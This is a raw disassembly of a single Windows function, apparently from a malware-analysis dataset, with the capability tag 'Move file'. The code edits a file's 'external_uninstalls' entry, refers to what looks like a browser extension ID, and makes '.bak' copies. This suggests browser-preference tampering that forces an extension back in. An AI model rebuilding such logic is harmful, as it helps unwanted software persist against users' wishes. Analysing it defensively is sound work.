Function at 0x403830
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45001b
mov eax, dword fs:[0]
push eax
sub esp, 0x5f0
mov eax, dword [0x504070]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
call fcn.0040bd00
test al, al
je 0x403f84
lea ecx, [ebp - 0x210]
mov edx, esi
sub ecx, esi
mov al, byte [edx]
lea edx, [edx + 1]
mov byte [ecx + edx - 1], al
test al, al
jne 0x403877
lea ecx, [ebp - 0x210]
dec ecx
nop dword [eax + eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x403890
mov eax, dword [str._bak]
lea edx, [ebp - 0x410]
mov dword [ecx], eax
sub edx, esi
mov al, byte [0x46025c]
mov byte [ecx + 4], al
mov ecx, esi
mov al, byte [ecx]
lea ecx, [ecx + 1]
mov byte [edx + ecx - 1], al
test al, al
jne 0x4038b3
lea ecx, [ebp - 0x410]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x4038c7
mov ax, word [0x460260]
mov word [ecx], ax
mov al, byte [0x460262]
mov byte [ecx + 2], al
xor eax, eax
xor ecx, ecx
mov word [ebp - 0x428], ax
cmp word [str.fgimllnamdeacpaddbdafchhcmapebgj], cx
mov eax, 0x20
mov dword [ebp - 0x414], 7
cmove eax, ecx
mov dword [ebp - 0x418], 0
push eax
push str.fgimllnamdeacpaddbdafchhcmapebgj
lea ecx, [ebp - 0x428]
call fcn.00406a60
lea edx, [ebp - 0x428]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x4e8]
call fcn.0040af60
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x414]
cmp eax, 8
jb 0x40395b
inc eax
lea ecx, [ebp - 0x428]
push eax
push dword [ebp - 0x428]
call fcn.00407d10
xor eax, eax
mov dword [ebp - 0x414], 7
mov word [ebp - 0x428], ax
lea ecx, [ebp - 0x458]
lea eax, [ebp - 0x4e8]
mov dword [ebp - 0x418], 0
push eax
mov edx, 0x460268
call fcn.00408e50
push 0x460264
mov edx, eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x4d0]
call fcn.00408dd0
add esp, 8
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x444]
cmp eax, 0x10
jb 0x4039ca
inc eax
lea ecx, [ebp - 0x458]
push eax
push dword [ebp - 0x458]
call fcn.00407d70
lea eax, [ebp - 0x4e8]
mov dword [ebp - 0x444], 0xf
push eax
mov edx, 0x460264
mov dword [ebp - 0x448], 0
lea ecx, [ebp - 0x428]
mov byte [ebp - 0x458], 0
call fcn.00408e50
push 0x460264
mov edx, eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x4b8]
call fcn.00408dd0
add esp, 8
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x414]
cmp eax, 0x10
jb 0x403a37
inc eax
lea ecx, [ebp - 0x428]
push eax
push dword [ebp - 0x428]
call fcn.00407d70
lea eax, [ebp - 0x4e8]
mov dword [ebp - 0x414], 0xf
push eax
mov edx, 0x460264
mov dword [ebp - 0x418], 0
lea ecx, [ebp - 0x458]
mov byte [ebp - 0x428], 0
call fcn.00408e50
push 0x46026c
mov edx, eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x4a0]
call fcn.00408dd0
add esp, 8
mov byte [ebp - 4], 0xb
mov eax, dword [ebp - 0x444]
cmp eax, 0x10
jb 0x403aa4
inc eax
lea ecx, [ebp - 0x458]
push eax
push dword [ebp - 0x458]
call fcn.00407d70
cmp byte [esi], 0
mov dword [ebp - 0x444], 0xf
mov dword [ebp - 0x448], 0
mov byte [ebp - 0x458], 0
mov dword [ebp - 0x414], 0xf
mov dword [ebp - 0x418], 0
mov byte [ebp - 0x428], 0
jne 0x403ae3
xor ecx, ecx
jmp 0x403af1
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403ae8
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x428]
call fcn.00406fc0
lea edx, [ebp - 0x428]
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x488]
call fcn.0040be60
mov byte [ebp - 4], 0xe
mov eax, dword [ebp - 0x414]
cmp eax, 0x10
jb 0x403b35
inc eax
lea ecx, [ebp - 0x428]
push eax
push dword [ebp - 0x428]
call fcn.00407d70
push 0x15
push 0
push str._external_uninstalls_
lea ecx, [ebp - 0x488]
mov dword [ebp - 0x414], 0xf
mov dword [ebp - 0x418], 0
mov byte [ebp - 0x428], 0
call fcn.00406d50
mov edi, eax
cmp edi, 0xffffffff
je 0x403e82
push 1
push edi
push 0x460288
lea ecx, [ebp - 0x488]
call fcn.00406d50
mov dword [ebp - 0x54c], eax
cmp eax, 0xffffffff
je 0x403e82
sub eax, edi
lea ecx, [ebp - 0x488]
push eax
push edi
lea eax, [ebp - 0x470]
push eax
call fcn.004055c0
push 0xffffffffffffffff
mov byte [ebp - 4], 0xf
lea eax, [ebp - 0x4d0]
push 0
push eax
lea ecx, [ebp - 0x440]
mov dword [ebp - 0x42c], 0xf
mov dword [ebp - 0x430], 0
mov byte [ebp - 0x440], 0
call fcn.004070c0
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0x440]
push dword [ebp - 0x430]
cmp dword [ebp - 0x42c], 0x10
lea ecx, [ebp - 0x470]
push 0
cmovae eax, dword [ebp - 0x440]
push eax
call fcn.00406d50
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x403c9f
push eax
push 0
lea eax, [ebp - 0x4a0]
push eax
lea ecx, [ebp - 0x440]
call fcn.004070c0
push dword [ebp - 0x430]
cmp dword [ebp - 0x42c], 0x10
lea eax, [ebp - 0x440]
push 0
cmovae eax, dword [ebp - 0x440]
lea ecx, [ebp - 0x470]
push eax
call fcn.00406d50
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x403c9f
push eax
push 0
lea eax, [ebp - 0x4b8]
push eax
lea ecx, [ebp - 0x440]
call fcn.004070c0
push dword [ebp - 0x430]
cmp dword [ebp - 0x42c], 0x10
lea eax, [ebp - 0x440]
push 0
cmovae eax, dword [ebp - 0x440]
lea ecx, [ebp - 0x470]
push eax
call fcn.00406d50
mov ebx, eax
cmp ebx, 0xffffffff
je 0x403e10
push edi
push 0
lea eax, [ebp - 0x548]
push eax
lea ecx, [ebp - 0x488]
call fcn.004055c0
push ebx
push 0
lea eax, [ebp - 0x530]
mov byte [ebp - 4], 0x11
push eax
lea ecx, [ebp - 0x470]
call fcn.004055c0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x470]
mov eax, dword [ebp - 0x430]
push 0xffffffffffffffff
add eax, ebx
push eax
lea eax, [ebp - 0x518]
push eax
call fcn.004055c0
push 0xffffffffffffffff
push dword [ebp - 0x54c]
lea eax, [ebp - 0x500]
mov byte [ebp - 4], 0x13
push eax
lea ecx, [ebp - 0x488]
call fcn.004055c0
push ecx
lea ecx, [ebp - 0x5fc]
mov byte [ebp - 4], 0x14
call fcn.004058b0
sub esp, 8
mov byte [ebp - 4], 0x15
lea eax, [ebp - 0x410]
lea ecx, [ebp - 0x5fc]
push eax
call fcn.004057d0
cmp dword [ebp - 0x5ac], 0
je 0x403d76
lea edx, [ebp - 0x548]
lea ecx, [ebp - 0x5fc]
call fcn.00408f60
lea edx, [ebp - 0x530]
mov ecx, eax
call fcn.00408f60
lea edx, [ebp - 0x518]
mov ecx, eax
call fcn.00408f60
lea edx, [ebp - 0x500]
mov ecx, eax
call fcn.00408f60
lea ecx, [ebp - 0x5f8]
call fcn.00407870
test eax, eax
jne 0x403db0
mov eax, dword [ebp - 0x5fc]
lea ecx, [ebp - 0x5fc]
push 0
mov eax, dword [eax + 4]
add ecx, eax
mov edx, dword [ecx + 0xc]
or edx, 2
mov eax, edx
or eax, 4
cmp dword [ecx + 0x38], 0
cmovne eax, edx
push eax
call fcn.00401cd0
lea eax, [ebp - 0x210]
push eax
call fcn.00432592
lea eax, [ebp - 0x210]
push eax
push esi
call fcn.004325df
lea eax, [ebp - 0x410]
push esi
push eax
call fcn.004325df
add esp, 0x14
lea ecx, [ebp - 0x5fc]
call fcn.00403fa0
lea ecx, [ebp - 0x500]
call fcn.00405600
lea ecx, [ebp - 0x518]
call fcn.00405600
lea ecx, [ebp - 0x530]
call fcn.00405600
lea ecx, [ebp - 0x548]
call fcn.00405600
mov eax, dword [ebp - 0x42c]
cmp eax, 0x10
jb 0x403e2e
inc eax
lea ecx, [ebp - 0x440]
push eax
push dword [ebp - 0x440]
call fcn.00407d70
mov eax, dword [ebp - 0x45c]
mov dword [ebp - 0x42c], 0xf
mov dword [ebp - 0x430], 0
mov byte [ebp - 0x440], 0
cmp eax, 0x10
jb 0x403e67
inc eax
lea ecx, [ebp - 0x470]
push eax
push dword [ebp - 0x470]
call fcn.00407d70
mov dword [ebp - 0x45c], 0xf
mov dword [ebp - 0x460], 0
mov byte [ebp - 0x470], 0
mov eax, dword [ebp - 0x474]
cmp eax, 0x10
jb 0x403ea0
inc eax
lea ecx, [ebp - 0x488]
push eax
push dword [ebp - 0x488]
call fcn.00407d70
mov eax, dword [ebp - 0x48c]
mov dword [ebp - 0x474], 0xf
mov dword [ebp - 0x478], 0
mov byte [ebp - 0x488], 0
cmp eax, 0x10
jb 0x403ed9
inc eax
lea ecx, [ebp - 0x4a0]
push eax
push dword [ebp - 0x4a0]
call fcn.00407d70
mov eax, dword [ebp - 0x4a4]
mov dword [ebp - 0x48c], 0xf
mov dword [ebp - 0x490], 0
mov byte [ebp - 0x4a0], 0
cmp eax, 0x10
jb 0x403f12
inc eax
lea ecx, [ebp - 0x4b8]
push eax
push dword [ebp - 0x4b8]
call fcn.00407d70
mov eax, dword [ebp - 0x4bc]
mov dword [ebp - 0x4a4], 0xf
mov dword [ebp - 0x4a8], 0
mov byte [ebp - 0x4b8], 0
cmp eax, 0x10
jb 0x403f4b
inc eax
lea ecx, [ebp - 0x4d0]
push eax
push dword [ebp - 0x4d0]
call fcn.00407d70
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x4bc], 0xf
mov dword [ebp - 0x4c0], 0
mov byte [ebp - 0x4d0], 0
cmp eax, 0x10
jb 0x403f84
inc eax
lea ecx, [ebp - 0x4e8]
push eax
push dword [ebp - 0x4e8]
call fcn.00407d70
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042cc9c
mov esp, ebp
pop ebp
ret